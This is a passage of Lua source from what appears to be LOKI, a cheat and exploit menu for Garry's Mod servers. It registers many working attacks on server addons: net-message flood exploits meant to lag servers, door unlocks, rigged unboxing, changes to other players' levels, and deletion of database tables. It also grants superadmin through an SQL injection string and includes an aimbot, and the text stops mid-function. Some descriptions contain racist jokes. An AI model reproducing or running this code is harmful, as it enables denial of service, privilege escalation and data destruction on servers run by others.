  6653. { typ = "bools", tbl = {"NGII_TakeMoney", "NGII_UninstallMod"} }
  6654. },
  6655. } )
  6656. LOKI.AddExploit( "Lagsploit", {
  6657. desc = "Only the finest grade lag",
  6658. severity = 95,
  6659. bools = {enabled = false},
  6660. status = 1,
  6661. times_per_tick = math.huge,
  6662. scan = function() return LOKI.ValidNetString("ncpstoredoact") end,
  6663. hooks = {
  6664. Think = function(tbl, sploit)
  6665. LOKI.NetStart(sploit, "ncpstoredoact")
  6666. net.SendToServer()
  6667. end,
  6668. },
  6669. functions = {
  6670. { typ = "bool" }
  6671. },
  6672. } )
  6673. LOKI.AddExploit( "Lagsploit", {
  6674. desc = "Purchase a DDoS attack with your spare credits",
  6675. severity = 95,
  6676. bools = {enabled = true},
  6677. status = 1,
  6678. msgs_per_tick = LOKI.GetEnabledCount,
  6679. times_per_tick = math.huge,
  6680. scan = function() return LOKI.DynamicNetString("credit_") end,
  6681. hooks = {
  6682. Think = function(tbl, sploit)
  6683. LOKI.MultiSend(sploit)
  6684. end,
  6685. },
  6686. functions = {
  6687. { typ = "bools", tbl = {"credit_pay", "credit_loan", "credit_loan_deny"} }
  6688. },
  6689. } )
  6690. LOKI.AddExploit( "Lagsploit", {
  6691. desc = "Load up LOIC like a big boy hacker",
  6692. severity = 95,
  6693. bools = {enabled = false},
  6694. status = 1,
  6695. times_per_tick = math.huge,
  6696. scan = function() return LOKI.ValidNetString("usec_keypad") end,
  6697. hooks = {
  6698. Think = function(tbl, sploit)
  6699. LOKI.NetStart(sploit, "usec_keypad")
  6700. net.SendToServer()
  6701. end,
  6702. },
  6703. functions = {
  6704. { typ = "bool" }
  6705. },
  6706. } )
  6707. LOKI.AddExploit( "Lagsploit", {
  6708. desc = "Show the world how much of a sore loser you are",
  6709. severity = 95,
  6710. bools = {enabled = false},
  6711. status = 1,
  6712. times_per_tick = math.huge,
  6713. scan = function() return LOKI.ValidNetString("movePiece") end,
  6714. hooks = {
  6715. Think = function(tbl, sploit)
  6716. LOKI.NetStart(sploit, "movePiece")
  6717. net.SendToServer()
  6718. end,
  6719. },
  6720. functions = {
  6721. { typ = "bool" }
  6722. },
  6723. } )
  6724. LOKI.AddExploit( "Lagsploit", {
  6725. desc = "Man, this lag sure does make driving difficult",
  6726. severity = 95,
  6727. bools = {enabled = true},
  6728. status = 1,
  6729. msgs_per_tick = LOKI.GetEnabledCount,
  6730. times_per_tick = math.huge,
  6731. scan = function() return nucardealer != nil end,
  6732. hooks = {
  6733. Think = function(tbl, sploit)
  6734. LOKI.MultiSend(sploit)
  6735. end,
  6736. },
  6737. functions = {
  6738. { typ = "bools", tbl = {"nucauction_post", "nucardealer_spawn"} }
  6739. },
  6740. } )
  6741. LOKI.AddExploit( "Lagsploit", {
  6742. desc = "Looks like the server printer ran out of ink",
  6743. severity = 95,
  6744. bools = {enabled = true},
  6745. status = 1,
  6746. msgs_per_tick = LOKI.GetEnabledCount,
  6747. times_per_tick = math.huge,
  6748. prevalidated = true,
  6749. scan = function() return LOKI.ValidNetString("gPrinters.addUpgrade", "gPrinters.sendID") end,
  6750. hooks = {
  6751. Think = function(tbl, sploit)
  6752. LOKI.MultiSend(sploit)
  6753. end,
  6754. },
  6755. functions = {
  6756. { typ = "bools", tbl = {"gPrinters.addUpgrade", "gPrinters.sendID"} }
  6757. },
  6758. } )
  6759. LOKI.AddExploit( "Lagsploit", {
  6760. desc = "Faulty printers causing the servers ink to bleed",
  6761. severity = 95,
  6762. bools = {enabled = true},
  6763. status = 1,
  6764. msgs_per_tick = LOKI.GetEnabledCount,
  6765. times_per_tick = math.huge,
  6766. scan = function() return LOKI.DynamicNetString("lithium") end,
  6767. hooks = {
  6768. Think = function(tbl, sploit)
  6769. LOKI.MultiSend(sploit)
  6770. end,
  6771. },
  6772. functions = {
  6773. { typ = "bools", tbl = {"buyLp2Item", "lithium_printers_2_small_rack_screen", "lithiumPrinter2Donator", "lithiumPrinter2Obsidian", "lithiumPrinter2Silver", "lithiumPrinter2Iron", "lithiumPrinter2Economic", "lithiumPrinter2Bronze"} }
  6774. },
  6775. } )
  6776. LOKI.AddExploit( "Lagsploit", {
  6777. desc = "Suggest the server gets better security",
  6778. severity = 95,
  6779. bools = {enabled = true},
  6780. status = 1,
  6781. msgs_per_tick = LOKI.GetEnabledCount,
  6782. times_per_tick = math.huge,
  6783. scan = function() return LOKI.DynamicNetString("Suggestions") end,
  6784. hooks = {
  6785. Think = function(tbl, sploit)
  6786. LOKI.MultiSend(sploit)
  6787. end,
  6788. },
  6789. functions = {
  6790. { typ = "bools", tbl = {"SuggestionsClientEdits", "SuggestionsGetInfo"}}
  6791. },
  6792. } )
  6793. LOKI.AddExploit( "Lagsploit", {
  6794. desc = "'net library optimizations'",
  6795. severity = 95,
  6796. bools = {enabled = true},
  6797. status = 1,
  6798. msgs_per_tick = LOKI.GetEnabledCount,
  6799. times_per_tick = math.huge,
  6800. scan = function() return LOKI.DynamicNetString("LibK") end,
  6801. hooks = {
  6802. Think = function(tbl, sploit)
  6803. LOKI.MultiSend(sploit)
  6804. end,
  6805. },
  6806. functions = {
  6807. { typ = "bools", tbl = {"LibK_Transaction", "ControllerAction"}}
  6808. },
  6809. } )
  6810. LOKI.AddExploit( "Lagsploit", {
  6811. desc = "Short Circuit the server",
  6812. severity = 95,
  6813. bools = {enabled = false},
  6814. status = 1,
  6815. times_per_tick = math.huge,
  6816. scan = function() return LOKI.ValidNetString("PS2_ItemServerRPC") end,
  6817. hooks = {
  6818. Think = function(tbl, sploit)
  6819. LOKI.NetStart(sploit, "PS2_ItemServerRPC")
  6820. net.SendToServer()
  6821. end,
  6822. },
  6823. functions = {
  6824. { typ = "bool" }
  6825. },
  6826. } )
  6827. LOKI.AddExploit( "Lagsploit", {
  6828. desc = "Who thought it was a good idea to run printers on battery?",
  6829. severity = 95,
  6830. bools = {enabled = true},
  6831. status = 1,
  6832. msgs_per_tick = LOKI.GetEnabledCount,
  6833. times_per_tick = math.huge,
  6834. scan = function() return LOKI.DynamicNetString("fg_printer") end,
  6835. hooks = {
  6836. Think = function(tbl, sploit)
  6837. LOKI.MultiSend(sploit)
  6838. end,
  6839. },
  6840. functions = {
  6841. { typ = "bools", tbl = {"fg_printer_upgrade_speed", "fg_printer_upgrade_quality", "fg_printer_upgrade_cooler", "fg_printer_power", "fg_printer_money"} }
  6842. },
  6843. } )
  6844. LOKI.AddExploit( "Lagsploit", {
  6845. desc = "Start a food fight in the server room",
  6846. severity = 95,
  6847. bools = {enabled = true},
  6848. status = 1,
  6849. msgs_per_tick = LOKI.GetEnabledCount,
  6850. times_per_tick = math.huge,
  6851. scan = function() return LOKI.DynamicNetString("zfs_") end,
  6852. hooks = {
  6853. Think = function(tbl, sploit)
  6854. LOKI.MultiSend(sploit)
  6855. end,
  6856. },
  6857. functions = {
  6858. { typ = "bools", tbl = {"zfs_ItemPriceChange_sv", "zfs_ItemBuyUpdate_cl"} }
  6859. },
  6860. } )
  6861. LOKI.AddExploit( "Lagsploit", {
  6862. desc = "Add a special server lag effect to your hat",
  6863. severity = 95,
  6864. bools = {enabled = true},
  6865. status = 1,
  6866. msgs_per_tick = LOKI.GetEnabledCount,
  6867. times_per_tick = math.huge,
  6868. scan = function() return istable(HAT) end,
  6869. hooks = {
  6870. Think = function(tbl, sploit)
  6871. LOKI.MultiSend(sploit)
  6872. end,
  6873. },
  6874. functions = {
  6875. { typ = "bools", tbl = {"BuyHats", "SendCustomHatData"} }
  6876. },
  6877. } )
  6878. LOKI.AddExploit( "Lagsploit", {
  6879. desc = "Add a special server lag effect to your hat",
  6880. severity = 95,
  6881. bools = {enabled = true},
  6882. status = 1,
  6883. msgs_per_tick = LOKI.GetEnabledCount,
  6884. times_per_tick = math.huge,
  6885. scan = function() return LOKI.DynamicNetString("VChars::") end,
  6886. hooks = {
  6887. Think = function(tbl, sploit)
  6888. LOKI.MultiSend(sploit)
  6889. end,
  6890. },
  6891. functions = {
  6892. { typ = "bools", tbl = {"VChars::SelectCharacter", "VChars::CreateCharacter"} }
  6893. },
  6894. } )
  6895. LOKI.AddExploit( "Lagsploit", {
  6896. desc = "Modern hardware isn't designed for AI yet",
  6897. severity = 95,
  6898. bools = {enabled = true},
  6899. status = 1,
  6900. msgs_per_tick = LOKI.GetEnabledCount,
  6901. times_per_tick = math.huge,
  6902. scan = function() return LOKI.DynamicNetString("npctool") end,
  6903. hooks = {
  6904. Think = function(tbl, sploit)
  6905. LOKI.MultiSend(sploit)
  6906. end,
  6907. },
  6908. functions = {
  6909. { typ = "bools", tbl = {"npctool_spawner_clearundo", "sv_npctool_spawner_ppoint"} }
  6910. },
  6911. } )
  6912. LOKI.AddExploit( "Lagsploit", {
  6913. desc = "game.GetWorld():Fire('Kill')",
  6914. severity = 95,
  6915. bools = {enabled = false},
  6916. status = 1,
  6917. msgs_per_tick = LOKI.GetEnabledCount,
  6918. times_per_tick = math.huge,
  6919. scan = function() return LOKI.ValidNetString("npcData") end,
  6920. hooks = {
  6921. Think = function(tbl, sploit)
  6922. LOKI.NetStart(sploit, "npcData")
  6923. net.SendToServer()
  6924. end,
  6925. },
  6926. functions = {
  6927. { typ = "bool" }
  6928. },
  6929. } )
  6930. LOKI.AddExploit( "Lagsploit", {
  6931. desc = "Flood the server lua stealer",
  6932. severity = 95,
  6933. bools = {enabled = false},
  6934. status = 1,
  6935. msgs_per_tick = LOKI.GetEnabledCount,
  6936. times_per_tick = math.huge,
  6937. scan = function() return LOKI.ValidNetString("gamemode_reload_string") end,
  6938. hooks = {
  6939. Think = function(tbl, sploit)
  6940. LOKI.NetStart(sploit, "gamemode_reload_string")
  6941. net.WriteString("GET ODIUM.PRO")
  6942. net.SendToServer()
  6943. end,
  6944. },
  6945. functions = {
  6946. { typ = "bool" }
  6947. },
  6948. } )
  6949. LOKI.AddExploit( "Lagsploit", {
  6950. desc = "Use your toolgun. Very quickly",
  6951. severity = 95,
  6952. bools = {enabled = false},
  6953. status = 1,
  6954. msgs_per_tick = LOKI.GetEnabledCount,
  6955. times_per_tick = math.huge,
  6956. scan = function() return LOKI.ValidNetString("AS_DoAttack") end,
  6957. hooks = {
  6958. Think = function(tbl, sploit)
  6959. LOKI.NetStart(sploit, "AS_DoAttack")
  6960. net.SendToServer()
  6961. end,
  6962. },
  6963. functions = {
  6964. { typ = "bool" }
  6965. },
  6966. } )
  6967. LOKI.AddExploit( "Lagsploit", {
  6968. desc = "Seems like a fault in the water purifier",
  6969. severity = 95,
  6970. bools = {enabled = false},
  6971. status = 1,
  6972. msgs_per_tick = LOKI.GetEnabledCount,
  6973. times_per_tick = math.huge,
  6974. scan = function() return LOKI.ValidNetString("lfs_player_request_filter") end,
  6975. hooks = {
  6976. Think = function(tbl, sploit)
  6977. LOKI.NetStart(sploit, "lfs_player_request_filter")
  6978. net.WriteEntity(LOKI.GetLP())
  6979. net.SendToServer()
  6980. end,
  6981. net = {
  6982. Receive = function(sploit, strName)
  6983. if(strName == "lfs_player_request_filter") then
  6984. return false
  6985. end
  6986. end,
  6987. },
  6988. },
  6989. functions = {
  6990. { typ = "bool" }
  6991. },
  6992. } )
  6993. LOKI.AddExploit( "Lagsploit", {
  6994. desc = "Hit the server with a killing spell",
  6995. severity = 95,
  6996. bools = {enabled = false},
  6997. status = 1,
  6998. msgs_per_tick = math.huge,
  6999. times_per_tick = math.huge,
  7000. scan = function() return LOKI.ValidNetString("hpwrewrite_achievement1") end,
  7001. hooks = {
  7002. Think = function(tbl, sploit)
  7003. LOKI.NetStart(sploit, "hpwrewrite_achievement1")
  7004. net.SendToServer()
  7005. end,
  7006. },
  7007. functions = {
  7008. { typ = "bool" }
  7009. },
  7010. } )
  7011. LOKI.AddExploit( "Lagsploit", {
  7012. desc = "Hit the server with a drone strike",
  7013. severity = 95,
  7014. bools = {enabled = true},
  7015. status = 1,
  7016. msgs_per_tick = LOKI.GetEnabledCount,
  7017. times_per_tick = math.huge,
  7018. scan = function() return LOKI.DynamicNetString("dronesrewrite") end,
  7019. hooks = {
  7020. Think = function(tbl, sploit)
  7021. LOKI.MultiSend(sploit, function()
  7022. net.WriteEntity(LOKI.GetLP())
  7023. end)
  7024. end,
  7025. },
  7026. functions = {
  7027. { typ = "bools", tbl = {"dronesrewrite_requestweapons", "dronesrewrite_addfriends", "dronesrewrite_makebind", "dronesrewrite_controldr", "dronesrewrite_addfriend", "dronesrewrite_addmodule", "dronesrewrite_clickkey", "dronesrewrite_presskey"} }
  7028. },
  7029. } )
  7030. LOKI.AddExploit( "Lagsploit", {
  7031. desc = "Administration fees might bankrupt the server",
  7032. severity = 95,
  7033. bools = {enabled = true},
  7034. status = 1,
  7035. msgs_per_tick = LOKI.GetEnabledCount,
  7036. times_per_tick = math.huge,
  7037. scan = function() return LOKI.DynamicNetString("ECleaner") end,
  7038. hooks = {
  7039. Think = function(tbl, sploit)
  7040. LOKI.MultiSend(sploit, function()
  7041. net.WriteEntity(LOKI.GetLP())
  7042. end)
  7043. end,
  7044. },
  7045. functions = {
  7046. { typ = "bools", tbl = {"ECleaner_ServerAction", "ECleaner_PlayEntity", "ECleaner_RestoreEntity"} }
  7047. },
  7048. } )
  7049. LOKI.AddExploit( "Noise Exploit", {
  7050. desc = "Causes players to become Lil Pump",
  7051. severity = 1,
  7052. bools = {enabled = false},
  7053. status = 1,
  7054. msgs_per_tick = function() return #LOKI.GetStored( "lil_plyz", {} ) end,
  7055. times_per_tick = math.huge,
  7056. scan = function() return LOKI.ValidNetString( "wanted_radio" ) end,
  7057. hooks = {
  7058. Think = function(tbl, sploit)
  7059. for k, v in ipairs(LOKI.GetStored( "lil_plyz", {} )) do
  7060. if IsValid(v) then
  7061. LOKI.NetStart(sploit, 'wanted_radio')
  7062. net.WriteEntity(v)
  7063. net.WriteInt(1, 4)
  7064. net.SendToServer()
  7065. end
  7066. end
  7067. end,
  7068. },
  7069. functions = {
  7070. { typ = "players", addr = "lil_plyz" },
  7071. { typ = "bool", },
  7072. },
  7073. } )
  7074. LOKI.AddExploit( "Noise Exploit", {
  7075. desc = "Causes players to become African",
  7076. severity = 1,
  7077. bools = {enabled = false},
  7078. status = 1,
  7079. msgs_per_tick = function() return #LOKI.GetStored( "afro_plyz", {} ) end,
  7080. times_per_tick = math.huge,
  7081. scan = function() return LOKI.ValidNetString( "lockpick_sound" ) end,
  7082. hooks = {
  7083. Think = function(tbl, sploit)
  7084. for k, v in ipairs(LOKI.GetStored( "afro_plyz", {} )) do
  7085. if IsValid(v) then
  7086. LOKI.NetStart(sploit, 'lockpick_sound')
  7087. net.WriteEntity(v)
  7088. net.SendToServer()
  7089. end
  7090. end
  7091. end,
  7092. },
  7093. functions = {
  7094. { typ = "players", addr = "afro_plyz" },
  7095. { typ = "bool", },
  7096. },
  7097. } )
  7098. LOKI.AddExploit( "Door Exploit", {
  7099. desc = "Exploit the door you're looking at",
  7100. severity = 1,
  7101. bools = {enabled = false},
  7102. status = 1,
  7103. times_per_tick = 1,
  7104. scan = function() return LOKI.ValidNetString( "fp_as_doorHandler" ) end,
  7105. hooks = {
  7106. Think = function(tbl, sploit)
  7107. local v = LOKI.GetLP():GetEyeTrace().Entity
  7108. local doorOwner = isfunction(v.getDoorData) && LOKI.ValidTable(v:getDoorData()) && v:getDoorData()["owner"] || nil
  7109. LOKI.NetStart(sploit, "fp_as_doorHandler")
  7110. net.WriteEntity(v)
  7111. net.WriteString(tbl[1])
  7112. if(doorOwner) then
  7113. net.WriteDouble(doorOwner)
  7114. end
  7115. net.SendToServer()
  7116. end,
  7117. },
  7118. functions = {
  7119. { typ = "func", Name = "Lock", args = {"lock"} },
  7120. { typ = "func", Name = "Unlock", args = {"unlock"} },
  7121. { typ = "func", Name = "Remove Owner", args = {"removeOwner"} }
  7122. },
  7123. } )
  7124. LOKI.AddExploit( "Door Exploit", {
  7125. desc = "Unlock the door you're looking at",
  7126. severity = 1,
  7127. bools = {enabled = false},
  7128. status = -1,
  7129. times_per_tick = 1,
  7130. scan = function() return LOKI.ValidNetString( "OpenGates" ) end,
  7131. hooks = {
  7132. Think = function(tbl, sploit)
  7133. local v = LOKI.GetLP():GetEyeTrace().Entity
  7134. LOKI.NetStart(sploit, "OpenGates")
  7135. net.WriteEntity(v)
  7136. net.SendToServer()
  7137. end,
  7138. },
  7139. functions = {
  7140. { typ = "func", Name = "Open" },
  7141. },
  7142. } )
  7143. LOKI.AddExploit( "Door Exploit", {
  7144. desc = "Unlock the door you're looking at",
  7145. severity = 1,
  7146. bools = {enabled = false},
  7147. status = -1,
  7148. times_per_tick = 1,
  7149. scan = function() return LOKI.ValidNetString( "Kun_FinishLockpicking" ) end,
  7150. hooks = {
  7151. Think = function(tbl, sploit)
  7152. local v = LOKI.GetLP():GetEyeTrace().Entity
  7153. LOKI.NetStart(sploit, "Kun_FinishLockpicking")
  7154. net.SendToServer()
  7155. end,
  7156. },
  7157. functions = {
  7158. { typ = "func", Name = "Open" },
  7159. },
  7160. } )
  7161. LOKI.AddExploit( "Door Exploit", {
  7162. desc = "Unlock the door you're looking at",
  7163. severity = 1,
  7164. bools = {enabled = false},
  7165. status = 1,
  7166. times_per_tick = 1,
  7167. scan = function() return LOKI.ValidNetString( "ReturnFrom_Succes" ) end,
  7168. hooks = {
  7169. Think = function(tbl, sploit)
  7170. local v = LOKI.GetLP():GetEyeTrace().Entity
  7171. LOKI.NetStart(sploit, "ReturnFrom_Succes")
  7172. net.WriteEntity(v)
  7173. net.SendToServer()
  7174. end,
  7175. },
  7176. functions = {
  7177. { typ = "func", Name = "Open" },
  7178. },
  7179. } )
  7180. LOKI.AddExploit( "Door Exploit", {
  7181. desc = "Unlock and open every door as you walk up to it (blatant)",
  7182. severity = 1,
  7183. bools = {enabled = false},
  7184. vars = {object = Entity(0)},
  7185. status = 1,
  7186. times_per_tick = 1,
  7187. scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
  7188. hooks = {
  7189. Tick = function(tbl, sploit)
  7190. for k, object in pairs( ents.FindInSphere( LOKI.GetLP():GetPos(), 150 ) ) do
  7191. if(object == LOKI.GetLP():GetEyeTrace().Entity && object:GetClass():find("door") && object != sploit.vars.object) then
  7192. LOKI.NetStart(sploit, "dialogAlterWeapons", true)
  7193. net.WriteString("Add")
  7194. net.WriteTable({[1] = "ci_hacking_gear"})
  7195. net.SendToServer()
  7196. sploit.vars.object = object
  7197. break
  7198. end
  7199. end
  7200. end,
  7201. },
  7202. functions = {
  7203. { typ = "bool" },
  7204. },
  7205. } )
  7206. LOKI.AddExploit( "Unbox Exploit", {
  7207. desc = "Choose what you get from an unbox",
  7208. severity = 1,
  7209. bools = {enabled = false},
  7210. status = 1,
  7211. times_per_tick = 1,
  7212. scan = function() return LOKI.ValidNetString( "InitSpin" ) end,
  7213. hooks = {
  7214. net = {
  7215. Receive = function(sploit, strName)
  7216. if(strName == "InitSpin" && sploit.bools.enabled) then
  7217. local data = net.ReadTable()
  7218. local added = {}
  7219. local m = DermaMenu()
  7220. for k, v in ipairs(data) do
  7221. local CRC = util.CRC(table.ToString(v))
  7222. if(v.itemName && !added[CRC]) then
  7223. added[CRC] = CRC
  7224. m:AddOption( v.itemName .. (v.itemClassName != nil && " (" .. v.itemClassName .. ")" || ""), function()
  7225. LOKI.NetStart(sploit, "FinishedUnbox")
  7226. net.WriteInt(k, 16)
  7227. net.SendToServer()
  7228. end )
  7229. end
  7230. end
  7231. m:Open()
  7232. return false
  7233. end
  7234. end,
  7235. },
  7236. },
  7237. functions = {
  7238. { typ = "bool", Name = "Open" },
  7239. },
  7240. } )
  7241. LOKI.AddExploit( "Noise Exploit", {
  7242. desc = "Causes players to leak petrol from their eyes",
  7243. severity = 1,
  7244. bools = {enabled = false},
  7245. status = 1,
  7246. msgs_per_tick = function() return #LOKI.GetStored( "gas_plyz", {} ) end,
  7247. times_per_tick = math.huge,
  7248. scan = function() return LOKI.ValidNetString( "simfphys_gasspill" ) end,
  7249. hooks = {
  7250. Think = function(tbl, sploit)
  7251. for k, v in ipairs(LOKI.GetStored( "gas_plyz", {} )) do
  7252. if IsValid(v) then
  7253. LOKI.NetStart( sploit, "simfphys_gasspill" )
  7254. net.WriteVector( v:GetEyeTrace().HitPos )
  7255. net.WriteVector( v:GetEyeTrace().HitNormal )
  7256. net.SendToServer()
  7257. end
  7258. end
  7259. end,
  7260. },
  7261. functions = {
  7262. { typ = "players", addr = "gas_plyz" },
  7263. { typ = "bool", },
  7264. },
  7265. } )
  7266. LOKI.AddExploit( "Level Exploit", {
  7267. desc = "Set players level to anything (and blame someone else for admin abuse)",
  7268. severity = 1,
  7269. bools = {enabled = false},
  7270. status = 1,
  7271. times_per_tick = 1,
  7272. scan = function() return LOKI.ValidNetString( "EL_editUser" ) end,
  7273. hooks = {
  7274. Think = function(tbl, sploit)
  7275. for k, v in ipairs(LOKI.GetStored( "level1_targets", {LOKI.GetLP()} )) do
  7276. if(IsValid(v)) then
  7277. LOKI.NetStart( sploit, "EL_editUser")
  7278. DATA = {
  7279. Target = v,
  7280. Value = LOKI.GetStored("level1_level", 100),
  7281. Value2 = LOKI.GetStored("level1_xp", 100),
  7282. Value3 = LOKI.GetStored("level1_sp", 100),
  7283. Value4 = LOKI.GetStored("level1_rank", 1)[2],
  7284. Executer = LOKI.GetStored("level1_victim", {})[1],
  7285. }
  7286. net.WriteTable(DATA)
  7287. net.SendToServer()
  7288. end
  7289. end
  7290. end,
  7291. },
  7292. functions = {
  7293. { typ = "players", addr = "level1_targets", Name = "Target" },
  7294. { typ = "float", addr = "level1_level", Name = "Level", min = 0, max = math.huge, default = 100 },
  7295. { typ = "float", addr = "level1_xp", Name = "Exp", min = 0, max = math.huge, default = 100 },
  7296. { typ = "float", addr = "level1_sp", Name = "Skill Points", min = 0, max = math.huge, default = 1200 },
  7297. { typ = (EL_Ranks && "combo" || "float"), tbl = EL_Ranks || {}, Name = "Rank", default = {"", 1}, addr = "level1_rank", min = 0, max = math.huge, default = 1, var = "name", sort = "rank", find = "rank" },
  7298. { typ = "player", addr = "level1_victim", Name = "Victim" },
  7299. { typ = "func", Name = "Do it"},
  7300. },
  7301. } )
  7302. LOKI.AddExploit( "Level Exploit", {
  7303. desc = "Manipulate any players level and inventory",
  7304. severity = 1,
  7305. bools = {enabled = false},
  7306. status = 1,
  7307. times_per_tick = 1,
  7308. scan = function() return LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false end,
  7309. count = {
  7310. ["Active"] = 0,
  7311. ["Total"] = 2,
  7312. },
  7313. initial = function(sploit)
  7314. if(isfunction(LOKI.RecursiveGetVar(CRAFTINGMOD, {"Util", "CheckAdmin"}, "function"))) then
  7315. function CRAFTINGMOD.Util:CheckAdmin() return true end
  7316. end
  7317. local meta = debug.getregistry().Player
  7318. if(isfunction(meta.IsAdmin)) then
  7319. function meta:IsAdmin() return true end
  7320. end
  7321. if(sploit.count.Active == 0) then
  7322. if(LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false) then
  7323. sploit.count.Active = sploit.count.Active + 1
  7324. end
  7325. if(LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false) then
  7326. sploit.count.Active = sploit.count.Active + 1
  7327. end
  7328. end
  7329. end,
  7330. hooks = {
  7331. Think = function(tbl, sploit)
  7332. if(tbl[1] == 1) then
  7333. local menu = LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "AdminMenu"}, "function")
  7334. if(isfunction(menu)) then
  7335. menu(CRAFTINGMOD.PANELS)
  7336. LOKI.Menu:SetVisible(false)
  7337. end
  7338. elseif(tbl[1] == 2) then
  7339. local menu = LOKI.RecursiveGetVar(FARMINGMOD, {"AdminMenu"}, "function")
  7340. if(isfunction(menu)) then
  7341. menu(FARMINGMOD)
  7342. LOKI.Menu:SetVisible(false)
  7343. end
  7344. end
  7345. end,
  7346. },
  7347. functions = {
  7348. { typ = "func", Name = "Admin Menu (Mining)", args = {1}, required = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false},
  7349. { typ = "func", Name = "Admin Menu (Farming)", args = {2}, required = LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false},
  7350. },
  7351. } )
  7352. LOKI.AddExploit( "Level Exploit", {
  7353. desc = "Wield the Infinity Gauntlet",
  7354. severity = 100,
  7355. bools = {enabled = false},
  7356. status = 1,
  7357. times_per_tick = math.huge,
  7358. scan = function() return istable(DarkRPG) end,
  7359. count = {
  7360. ["Active"] = 22,
  7361. ["Total"] = 22,
  7362. },
  7363. hooks = {
  7364. Think = function(tbl, sploit)
  7365. LOKI.OpenTableEditor(LOKI.Menu, DarkRPG.Player.Stats, "Player Stat Multipliers", function(tbl)
  7366. local DarkRPG = LOKI.GetUpValues(DarkRPG.createTalent)["menu"] || DarkRPG
  7367. DarkRPG.savePlayerSettings()
  7368. DarkRPG.updateTalentTree()
  7369. DarkRPG.applyPlayerSettings()
  7370. DarkRPG.updateUsedPoints()
  7371. DarkRPG.sendPlayerTotalsToServer()
  7372. end)
  7373. end,
  7374. },
  7375. functions = {
  7376. { typ = "func", Name = "Close Fist", },
  7377. },
  7378. } )
  7379. LOKI.AddExploit( "Database Exploit", {
  7380. desc = "Give people superadmin (rejoin for it to take effect)",
  7381. severity = 100,
  7382. bools = {enabled = false},
  7383. status = 1,
  7384. times_per_tick = 1,
  7385. vars = {},
  7386. prevalidated = true,
  7387. scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay end,
  7388. hooks = {
  7389. Think = function(tbl, sploit)
  7390. for k, v in ipairs( LOKI.GetStored( "l_superadmins", {} ) ) do
  7391. if !IsValid(v) then continue end
  7392. local ass = {}
  7393. ass.tblname = "FAdmin_PlayerGroup; UPDATE FAdmin_PlayerGroup SET groupname = 'superadmin' WHERE steamid = " .. sql.SQLStr(v:SteamID())
  7394. ass.ply = v
  7395.  
  7396. LOKI.NetStart(sploit, "pplay_sendtable")
  7397. net.WriteTable(ass)
  7398. net.SendToServer()
  7399. end
  7400. end,
  7401. },
  7402. functions = {
  7403. { typ = "players", addr = "l_superadmins" },
  7404. { typ = "func", Name = "Gibsmedat", },
  7405. },
  7406. } )
  7407. LOKI.AddExploit( "Database Exploit", {
  7408. desc = "Clumsy transport men always dropping the tables",
  7409. severity = 100,
  7410. bools = {enabled = false},
  7411. status = 1,
  7412. times_per_tick = 1,
  7413. scan = function() return LOKI.ValidNetString("CRAFTINGMOD_COMMANDS") || LOKI.ValidNetString("FISHINGMOD_ADMIN") end,
  7414. hooks = {
  7415. Think = function(tbl, sploit)
  7416. LOKI.NetStart(sploit, (LOKI.ValidNetString("CRAFTINGMOD_COMMANDS") && "CRAFTINGMOD_COMMANDS") || (LOKI.ValidNetString("FISHINGMOD_ADMIN") && "FISHINGMOD_ADMIN"))
  7417. net.WriteInt(3, 16)
  7418. net.SendToServer()
  7419. end,
  7420. },
  7421. functions = {
  7422. { typ = "func", Name = "Do it"},
  7423. },
  7424. } )
  7425. LOKI.AddExploit( "Database Exploit", {
  7426. desc = "Permanently delete all money printers from the server database",
  7427. severity = 100,
  7428. bools = {enabled = false},
  7429. status = 1,
  7430. times_per_tick = 1,
  7431. scan = function() return istable(gPrinters) && LOKI.ValidNetString("gPrinters.removePrinter") end,
  7432. hooks = {
  7433. Think = function(tbl, sploit)
  7434. for _, printer in pairs( gPrinters.printers or {} ) do
  7435. for k, v in pairs( gPrinters.printers[ "Printers" ][ printer ] or printer ) do
  7436. LOKI.NetStart(sploit, "gPrinters.removePrinter" )
  7437. net.WriteString( v.uid )
  7438. net.SendToServer()
  7439. end
  7440. end
  7441. end,
  7442. },
  7443. functions = {
  7444. { typ = "func", Name = "Do it"},
  7445. },
  7446. } )
  7447. LOKI.AddExploit( "Damage Exploit", {
  7448. desc = "Makes your bullets more accurate and more lethal",
  7449. severity = 1,
  7450. bools = {enabled = true},
  7451. status = 1,
  7452. times_per_tick = 1,
  7453. scan = function(sploit) if(istable(LeyHitreg)) then sploit.channel = LOKI.GetUpValues(LeyHitreg.EntityFireBullets)["option_customnetmsg"] return true end end,
  7454. count = {
  7455. ["Active"] = 5,
  7456. ["Total"] = 5,
  7457. },
  7458. channel = "nocheatinghere",
  7459. hooks = {
  7460. net = {
  7461. SendToServer = function(sploit, varargs)
  7462. sploit.BulletData = nil
  7463. end,
  7464. },
  7465. util = {
  7466. TraceLine = function(sploit, varargs)
  7467. if(LOKI.NetOutgoingMsg == sploit.channel) then
  7468. local trace = util.TraceLine(unpack(varargs))
  7469. if(sploit.bools.bighead) then
  7470. trace.HitGroup = HITGROUP_HEAD
  7471. end
  7472. if(sploit.bools.magicbullet && (!trace.Entity || !IsValid(trace.Entity) || !trace.Entity:IsPlayer())) then
  7473. local ply = LOKI.GetLP()
  7474. for k, ent in ipairs(player.GetAll()) do
  7475. if(ent == ply || ent:Health() <= 0) then continue end
  7476. local mins, maxs = (ent:OBBMins()*LOKI.GetStored("dmg1_hbox", 2)), (ent:OBBMaxs()*LOKI.GetStored("dmg1_hbox", 2))
  7477. mins = mins - (Vector(0,0,math.abs(maxs.z/2))) + ent:OBBCenter()
  7478. maxs = maxs - (Vector(0,0,math.abs(maxs.z/2))) + ent:OBBCenter()
  7479. local hitpos, normal, fraction = util.IntersectRayWithOBB(LOKI.Freecam.EyePos(), ply:GetAimVector() * 16384, ent:GetPos(), Angle(0,0,0), mins, maxs, 2)
  7480. if (hitpos) then
  7481. trace.Entity = ent
  7482. trace.HitPos = hitpos
  7483.  
  7484. debugoverlay.Line(trace.StartPos, trace.HitPos, 5, color_white, true)
